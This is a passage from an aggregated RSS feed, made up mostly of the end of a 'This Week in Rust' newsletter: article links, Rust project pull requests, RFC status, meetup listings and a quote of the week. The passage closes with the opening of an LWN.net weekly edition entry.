<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.8.0">kache 0.8.0: zero-copy restores on Windows (ReFS)</a></li>
<li><a href="https://miskibin.github.io/warbell/">Warbell — a castle-defense action-RPG built with Bevy 0.19</a></li>
<li><a href="https://dev.to/gregorymc86/i-built-a-macos-ftp-client-entirely-in-rust-no-electron-no-webview-2a8i">I built a macOS FTP client entirely in Rust - no Electron, no webview</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://blog.yoshuawuyts.com/hoisting-expressions">Hoisting Expressions</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/06/25/rust-web-development-2026/">The Unglamorous Side of Rust Web Development</a></li>
<li><a href="https://dev.to/ernesto_arias_148b35bc25d/-how-i-found-out-52-of-my-knowledge-graph-was-duplicates-and-what-i-did-about-it-3coh">How I Found Out 52% of My Knowledge Graph Was Duplicates (and What I Did About It)</a></li>
<li><a href="https://jtjlehi.github.io/2026/06/25/novel-rust-error-handling.html">A Novel Approach to Rust Error Handling</a></li>
<li><a href="https://encore.dev/blog/redis-runtime">We put a Redis server inside our runtime</a></li>
<li><a href="https://kerkour.com/rust-high-performance-memory-fragmentation-allocations">High-performance Rust: Understanding and eliminating memory fragmentation</a></li>
<li><a href="https://kunobi.ninja/blog/kache-storage-worktrees">AI and worktrees are filling our disks: kache storage, measured</a></li>
<li><a href="https://dev.to/sicklefire/designing-a-cross-platform-terminal-memory-visualizer-in-rust-2365">Designing a cross-platform terminal memory visualizer in Rust</a></li>
<li><a href="https://pranitha.dev/posts/rust-and-memory-allocators">Your Rust Service Isn't Leaking — It Could Be the Allocator</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://medium.com/@vbasky/measure-dont-guess-building-viser-a-content-adaptive-video-encoding-optimizer-in-rust-7675edd6943a">Measure, Don't Guess: Building viser, a Content-Adaptive Video Encoding Optimizer in Rust</a></li>
<li><a href="https://blog.sheerluck.dev/posts/learn-sql-and-sqlx-by-building-a-book-library-cli-in-rust/">Learn SQL and SQLx by Building a Book Library CLI in Rust</a></li>
<li>[series] <a href="https://aibodh.com/posts/async-rust-chapter-2-what-async-fn-compiles-into/">Reasoning About Async Rust with State Machines</a></li>
<li><a href="https://mainmatter.com/c-to-rust-migration-book/">The C to Rust Migration Book</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/pbkx/deconvolution">deconvolution</a>, a image deconvolution and restoration library.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1621">pbkx</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>
<p><a href="https://github.com/kmolan/multicalc-rust/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22">multicalc - good first issues</a></p>



<ul>
<li><a href="https://github.com/aimdb-dev/aimdb/issues/93">AimDB - Add minimal example: hello-single-latest</a></li>
<li><a href="https://github.com/aimdb-dev/aimdb/issues/109">AimDB - Wire <code>.transform()</code> and <code>.transform_join()</code> into stage profiling</a></li>
<li><a href="https://github.com/SzilvasiPeter/edid-info/issues/1">edid-info - Increase test coverage with real EDID data</a></li>
<li><a href="https://github.com/SzilvasiPeter/edid-info/issues/2">edid-info - Finalize CTA-861 extension implementation</a></li>
<li><a href="https://github.com/SzilvasiPeter/edid-info/issues/3">edid-info - Support additional EDID extension block types</a></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>426 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-06-23..2026-06-30">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/157996">drop the full-crate AST walk in <code>check_unused</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158185">make <code>stable_crate_ids</code> reads lock-free after crate loading</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158239">rework lint pass running</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157271">simplify some <code>proc_macro</code> things</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158326">add <code>io::ErrorKind::TooManyOpenFiles</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/153097">expand <code>OptionFlatten</code>'s iterator methods</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155625">move <code>std::io::Error</code> into <code>core</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158053">optimize network address parser</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17106">add <code>-Zhint-msrv</code> flag</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17237"><code>filter_map_next</code>: clean-up, overhaul suggestions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17318"><code>chunks_exact_to_as_chunks</code>: Prevent syntactically invalid suggestions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17317"><code>chunks_exact_to_as_chunks</code>: Use correct method name in message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17316"><code>chunks_exact_to_as_chunks</code>: Pick iter method depending on mut-ness</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17302"><code>non_ascii_literal</code>, <code>invisible_characters</code>: don't suggest a fix on raw strings</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17228">create a single <code>ConstEvalCtxt</code> in <code>expr_eagerness</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17299">detect new range types in <code>higher::Range</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17270">do not trigger <code>manual_option_zip</code> when map receiver is a lazy evaluated expression</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16746">enhance <code>needless_late_init</code> to cover grouped assignments</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17257">fix: <code>borrow_as_ptr</code> is triggered on generated code</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22466">add diagnostic for E0596</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22645">add fixes add '.await' for <code>type_mismatch</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22646">crash on lowering consts with associated types</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22640">crash when hovering on anonymous consts</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22582">only run <code>Drop::drop</code> when implemented</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22633">mark <code>inline_convert_while_ascii()</code> as <code>unsafe</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22115">switch out lsp-types for gen-lsp-types</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>Overall, the week was fairly neutral, with no meaningful shift on most benchmarks on any of our statistics.</p>
<p>Triage done by <strong>@simulacrum</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=8b6558a02b2774acfb25cf15e199467c37ba7490&amp;end=7dc2c162b9c197aaa76a6f9e7534569537830a01&amp;absolute=false&amp;stat=instructions%3Au">8b6558a0..7dc2c162</a></p>
<p>2 Regressions, 1 Improvement, 7 Mixed; 5 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/master/triage/2026/2026-06-29.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/143989">Tracking Issue for LocalKey/Cell::update</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/142312">Tracking Issue for <code>{str, [T], Path}::trim_prefix</code> and <code>{str, [T]}::trim_suffix</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155697">Stabilize c-variadic function definitions</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/69835">Tracking Issue for layout information behind pointers</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158523">Fix feature gate for <code>repr(simd)</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154585">reat no_mangle_generic_items as hard error instead of lint warning</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158522">Lint against invalid POSIX symbol definitions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158302">Fix <code>overflowing_literals</code> lint with repeated negation</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158504">stabilize <code>extern "custom"</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158057">Don't escape U+FF9E and U+FF9F in <code>escape_debug_ext</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1007">Decouple <code>BackendRepr</code> from ABI alignment</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1005">MCP: Stabilization strategy for rustc parallel frontend</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#language-reference"></a><a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>
<ul>
<li><a href="https://github.com/rust-lang/reference/pull/2166">Fields must fit in the type, even for repr(Rust)</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-rfcs"></a><a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3527">RFC: Associated const underscore</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3980">Add <code>extern "custom"</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/615">Opsem extension proposal: atomic volatile accesses</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3977">Method chain as item</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3980">Add <code>extern "custom"</code></a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-01 - 2026-07-29 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-01 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210366/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455932/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Charlottesville, VA, US) | <a href="https://www.meetup.com/charlottesville-rust-meetup">Charlottesville Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/charlottesville-rust-meetup/events/315211402/"><strong>Learning Game Development the Hard Way with Rust and Bevy</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/313345243/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-07-04 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-05 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095287/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-07 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315060981/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-07-14 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254778/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-01 | Köln, DE | <a href="https://www.meetup.com/rust-cologne-bonn">Rust Cologne</a><ul>
<li><a href="https://www.meetup.com/rustcologne/events/315404678/"><strong>Rust in July: Vecs and Strings and Slices, Oh My!</strong></a></li>
</ul>
</li>
<li>2026-07-01 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315200163/"><strong>Rust Manchester June Talks</strong></a></li>
</ul>
</li>
<li>2026-07-01 | Oxford, UK | <a href="https://www.meetup.com/oxford-rust-meetup-group">Oxford ACCU/Rust Meetup.</a><ul>
<li><a href="https://www.meetup.com/oxford-rust-meetup-group/events/315409335/"><strong>Building a file system from scratch</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Edinburgh, UK | <a href="https://www.meetup.com/rust-edi">Rust and Friends</a><ul>
<li><a href="https://www.meetup.com/rust-and-friends/events/314941098/"><strong>Bevy, Bits, &amp; Cats (Rust July Talks)</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Enschede, NL | <a href="https://www.meetup.com/dutch-rust-meetup">Baseflow Tech Meetups</a><ul>
<li><a href="https://www.meetup.com/baseflow-tech-meetups/events/315099547/"><strong>AI Summit</strong></a></li>
</ul>
</li>
<li>2026-07-08 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin">Rust Dublin</a><ul>
<li><a href="https://www.meetup.com/rust-dublin/events/315150327/"><strong>Join us live and INPERSON for Rust 262</strong></a></li>
</ul>
</li>
<li>2026-07-09 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a><ul>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-02 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/315103359/"><strong>Git is easy?</strong></a></li>
</ul>
</li>
<li>2026-07-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225861/"><strong>Boston University Rust Lunch, July 4</strong></a></li>
</ul>
</li>
<li>2026-07-09 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696647/"><strong>Utah Rust July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-11 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225865/"><strong>MIT Rust Lunch, July 11</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
</ul>
</li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a><ul>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>I <em>do</em> rather hope anyone using <code>-Zllvm-target-features</code> or any stabilized form thereof would know that they are getting a conversation with the dragon directly and they should mind their words carefully if they do not wish to be barbecued by it and served over a nice plate of iron filings.</p>
</blockquote>
<p>– <a href="https://rust-lang.zulipchat.com/#narrow/channel/233931-t-compiler.2Fmajor-changes/topic/Add.20.60-Zllvm-target-feature.60.20target.20.2Amodif.E2.80.A6.20compiler-team.23994/near/606147265">workingjubilee on rust zulip</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1784">Tomáš Šedovič</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1ul6xfl/this_week_in_rust_658/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[$] LWN.net Weekly Edition for July 2, 2026]]></title>
<description><![CDATA[Inside this week's LWN.net Weekly Edition:
        
        
 Front: Xsnow protestware; Git 2.55; Rhombus; kernel hardening; More LSFMM+BPF coverage; 7.2 merge window; Secure Boot certificate expiration; Ceph and Garage; OSPM 2026.
             Briefs: Akrites; Mageia 10; Git 2.55.0; Podman 6.0; ...]]></description>
<link>https://tsecurity.de/de/3639957/linux-tipps/lwnnet-weekly-edition-for-july-2-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639957/linux-tipps/lwnnet-weekly-edition-for-july-2-2026/</guid>
<pubDate>Thu, 02 Jul 2026 02:24:23 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Inside this week's LWN.net Weekly Edition:
        <p>
        </p><ul>
